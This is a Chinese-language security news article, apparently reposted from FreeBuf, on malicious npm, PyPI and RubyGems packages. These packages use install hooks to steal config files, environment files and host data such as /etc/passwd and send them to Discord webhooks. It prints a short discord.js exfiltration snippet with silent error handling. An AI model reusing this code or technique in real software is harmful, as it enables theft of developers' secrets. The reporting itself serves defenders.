攻击者利用 Discord Webhook 通过 npm、PyPI 和 Ruby 软件包构建隐蔽C2通道
网络犯罪分子利用Discord webhook作为隐蔽的命令与控制通道,渗透主流编程语言生态系统。恶意软件包通过npm、PyPI和RubyGems平台窃取开发者设备和持续集成环境中的敏感数据。攻击者利用合法HTTPS流量隐藏行为,并通过静默错误处理规避检测。 2025-10-13 03:59:7 Author: www.freebuf.com(查看原文) 阅读量:2 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

image

网络安全研究人员发现,网络犯罪分子正在利用Discord webhook作为替代性命令与控制(C2)通道,渗透主流编程语言生态系统。与传统C2服务器不同,webhook提供免费且隐蔽的数据外传渠道,能够完美隐藏在合法的HTTPS流量中。

过去一个月内,npm、PyPI和RubyGems平台上的恶意软件包已悄然窃取开发者设备和持续集成环境中的敏感文件及遥测数据。最早发现的案例是一个名为mysql-dumpdiscord的npm模块,该模块看似无害,但在安装或执行时会扫描config[.]json[.]envayarlar[.]js等配置文件和环境文件,读取内容后通过HTTP POST发送至硬编码的Discord webhook URL。

攻击者控制的webhook以字符串常量形式嵌入代码,接收每个文件内容(超过1900字符的文件会被截断以适应Discord消息长度限制)。Socket.dev分析师是在网络监控发现发往discord[.]com/api/webhooks/...的POST请求异常激增后,才识别出这种攻击手法。

跨平台攻击手法

进一步调查发现第二个npm概念验证样本,该样本利用官方discord.js库实现攻击:

const { WebhookClient } = require ('discord.js');
module.exports = async function send (messages) {
 try {
  const client = new WebhookClient ({ url: 'https://discord.com/api/webhooks/1323713674971713676/…' });
  await client.send (messages.join(' '));
 } catch (e) {
  // 静默失败
 }
};

这种极简设计将传入函数的任何字符串转化为C2消息,规避了基于主机的异常域名或签名检测。

攻击者在各生态系统采用相似手法。PyPI平台上的malinssx软件包会重写setuptools中的install命令,在pip install执行时序列化越南语通知消息"Some just installed the maladicus package via pip!"并发送至Discord webhook。所有网络错误都会被捕获并忽略,正常安装流程不受影响。

RubyGems平台上被篡改的sqlcommenterrails版本会收集主机元数据(包括/etc/passwd内容、DNS服务器、当前用户和公网IP),将其格式化为多行JSON载荷通过HTTPS POST发送至webhook。错误处理同样保持静默,确保gem安装过程不被中断。

感染机制分析

这些恶意软件包利用安装时钩子实现持久化和隐蔽性。通过重写安装命令(Python的install[.]run、Ruby的gemspec钩子),恶意代码能在主机的安全控制检测到运行时行为前就执行。这种早期执行意味着敏感数据在代码分析或端点防护启动前就已外泄。

此外,利用Discord基础设施可规避静态白名单的怀疑——企业协作场景下discord[.]com的流量通常被允许,这使得受信域名变成了隐蔽的数据管道。

参考来源:

Threat Actors Weaponize Discord Webhooks for Command and Control with npm, PyPI, and Ruby Packages

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/database/452461.html
如有侵权请联系:admin#unsafe.sh